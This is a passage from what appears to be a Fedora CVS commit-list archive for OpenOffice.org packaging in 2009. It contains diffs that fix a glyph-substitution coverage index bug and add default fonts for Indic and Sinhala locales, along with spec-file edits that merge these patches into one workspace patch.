-                            const USHORT nCovIdx = GetUShort( pCoverage+4 );
+                            const USHORT nStartCoverageIndex = GetUShort( pCoverage+4 );
                             pCoverage += 6;
                             for( USHORT j = nGlyph0; j <= nGlyph1; ++j )
-                                aSubstVector.push_back( GlyphSubst( j + nCovIdx, 0 ) );
+                            {
+                                //http://www.microsoft.com/typography/otspec/CHAPTER2.htm
+                                //Coverage Index (GlyphID) = StartCoverageIndex + GlyphID - Start GlyphID.
+                                //e.g. http://qa.openoffice.org/issues/show_bug.cgi?id=92671
+                                DBG_ASSERT(aSubstVector.size() == nStartCoverageIndex + j - nGlyph0, "coverage index mismatch");
+                                (void)nStartCoverageIndex;
+                                aSubstVector.push_back( GlyphSubst( j, 0 ) );
+                            }
                         }
                     }
                     break;
diff -ru psprint.orig/source/fontsubset/gsub.cxx psprint/source/fontsubset/gsub.cxx
--- psprint.orig/source/fontsubset/gsub.cxx	2009-09-30 12:46:58.000000000 +0100
+++ psprint/source/fontsubset/gsub.cxx	2009-09-30 14:31:17.000000000 +0100
@@ -282,9 +282,15 @@
                     {
                         const USHORT nGlyph0 = NEXT_UShort( pCoverage );
                         const USHORT nGlyph1 = NEXT_UShort( pCoverage );
-                        const USHORT nCovIdx = NEXT_UShort( pCoverage );
+                        const USHORT nStartCoverageIndex = NEXT_UShort( pCoverage );
                         for( USHORT j = nGlyph0; j <= nGlyph1; ++j )
-                            aSubstVector.push_back( GlyphSubst( j + nCovIdx, 0 ) );
+                        {
+                            //http://www.microsoft.com/typography/otspec/CHAPTER2.htm
+                            //Coverage Index (GlyphID) = StartCoverageIndex + GlyphID - Start GlyphID.
+                            //e.g. #i92671#
+                            (void)nStartCoverageIndex;
+                            aSubstVector.push_back( GlyphSubst( j, 0 ) );
+                        }
                     }
                 }
                 break;
Index: officecfg/registry/data/org/openoffice/VCL.xcu
===================================================================
--- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
+++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
@@ -825,6 +825,46 @@
         <value>Lohit Nepali;Kalimati;Samanata;Sans</value>
       </prop>
     </node>
+    <node oor:name="as-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="bn-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
     <node oor:name="hi-IN" oor:op="replace">
       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
         <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
@@ -865,6 +905,86 @@
         <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
       </prop>
     </node>
+    <node oor:name="kn-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="mai-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="ml-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="mr-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Marathi;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
     <node oor:name="or-IN" oor:op="replace">
       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
         <value>utkal;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
@@ -925,6 +1045,26 @@
         <value>Lohit Tamil;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
       </prop>
     </node>
+    <node oor:name="te-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Telugu;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
 
     <node oor:name="ak-GH" oor:op="replace">
 	<prop oor:name="LATIN_DISPLAY" oor:type="xs:string" oor:op="replace">
@@ -1022,6 +1162,26 @@
     </node>
     <node oor:name="rw" oor:op="replace">
     </node>
+    <node oor:name="si" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
   </node>
   <node oor:name="FontSubstitutions">
     <node oor:name="en" oor:op="replace">


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2018
retrieving revision 1.2019
diff -u -p -r1.2018 -r1.2019
--- openoffice.org.spec	15 Oct 2009 06:43:30 -0000	1.2018
+++ openoffice.org.spec	15 Oct 2009 08:10:03 -0000	1.2019
@@ -161,11 +161,8 @@ Patch84: workspace.dr69.patch
 Patch85: openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch
 Patch86: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
 Patch87: workspace.aw073.patch
-Patch88: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
-Patch89: openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch
-Patch90: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
-Patch91: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
-Patch92: openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch
+Patch88: workspace.vcl106.patch
+Patch89: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1713,11 +1710,8 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch85 -p0 -b .ooo64671.canvas.add-support-for-font-pitch.patch
 %patch86 -p1 -b .oooXXXXXX.sal.justcoredump.patch
 %patch87 -p0 -b .workspace.aw073.patch
-%patch88 -p0 -b .ooo92671.vcl.coverageformat2.patch
-%patch89 -p0 -b .ooo105613.vcl.a11y.exceptions.patch
-%patch90 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
-%patch91 -p0 -b .ooo105815.officecfg.default-font-for-si-locale.patch
-%patch92 -p0 -b .ooo105914.officecfg.default-fonts-for-indic-locales.patch
+%patch88 -p0 -b .workspace.vcl106.patch
+%patch89 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4251,7 +4245,7 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.12-UNBUILT
+* Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.12
 - Resolves: rhbz#528409 [si_LK] Default font in oowriter is not
   Language Default (LKLUG), but DejaVu Sans (dtardon)
 - Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is
@@ -4259,7 +4253,7 @@ fi
 
 * Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch (caolanm)
-- Resolves: rhbz#527719 add openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
+- Resolves: rhbz#527719 add openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch (caolanm)
 
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)


--- openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch DELETED ---


--- openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch DELETED ---


--- openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch DELETED ---


--- openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch DELETED ---



From caolanm at fedoraproject.org  Thu Oct 15 08:10:08 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 08:10:08 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec, 1.2038,
	1.2039 workspace.vcl106.patch, 1.3, 1.4
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch,
	1.1, NONE
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch,
	1.1, NONE
Message-ID: <20091015081008.68D0211C0423@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9462/devel

Modified Files:
	openoffice.org.spec workspace.vcl106.patch 
Removed Files:
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch 
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch 
Log Message:
merge patches into accepted workspace


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2038
retrieving revision 1.2039
diff -u -p -r1.2038 -r1.2039
--- openoffice.org.spec	15 Oct 2009 06:38:31 -0000	1.2038
+++ openoffice.org.spec	15 Oct 2009 08:10:07 -0000	1.2039
@@ -115,9 +115,7 @@ Patch41: openoffice.org-3.1.1.oooXXXXXX.
 Patch42: workspace.vcl106.patch
 Patch43: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
 Patch44: workspace.dba32h.patch
-Patch45: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
-Patch46: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
-Patch47: openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch
+Patch45: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1622,9 +1620,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch42 -p0 -b .workspace.vcl106.patch
 %patch43 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
 %patch44 -p0 -b .workspace.dba32h.patch
-%patch45 -p0 -b .ooo105815.officecfg.default-font-for-si-locale.patch
-%patch46 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
-%patch47 -p0 -b .ooo105914.officecfg.default-fonts-for-indic-locales.patch
+%patch45 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`

workspace.vcl106.patch:
 officecfg/registry/data/org/openoffice/VCL.xcu |  160 +++++++++++++++++++++++++
 unx/gtk/a11y/atkutil.cxx                       |   13 +-
 vcl/source/fontsubset/gsub.cxx                 |   10 +
 vcl/source/glyphs/gcach_ftyp.cxx               |   11 +
 4 files changed, 187 insertions(+), 7 deletions(-)

Index: workspace.vcl106.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/workspace.vcl106.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- workspace.vcl106.patch	13 Oct 2009 14:06:00 -0000	1.3
+++ workspace.vcl106.patch	15 Oct 2009 08:10:07 -0000	1.4
@@ -78,3 +78,195 @@ diff -ru vcl.orig/source/fontsubset/gsub
                      }
                  }
                  break;
+Index: officecfg/registry/data/org/openoffice/VCL.xcu
+===================================================================
+--- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
++++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
+@@ -825,6 +825,46 @@
+         <value>Lohit Nepali;Kalimati;Samanata;Sans</value>
+       </prop>
+     </node>
++    <node oor:name="as-IN" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
++    <node oor:name="bn-IN" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
+     <node oor:name="hi-IN" oor:op="replace">
+       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+         <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+@@ -865,6 +905,86 @@
+         <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+       </prop>
+     </node>
++    <node oor:name="kn-IN" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
++    <node oor:name="mai-IN" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
++        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++    </node>
++    <node oor:name="ml-IN" oor:op="replace">
++      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
++      </prop>
++      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
++        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
++      </prop>
++      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
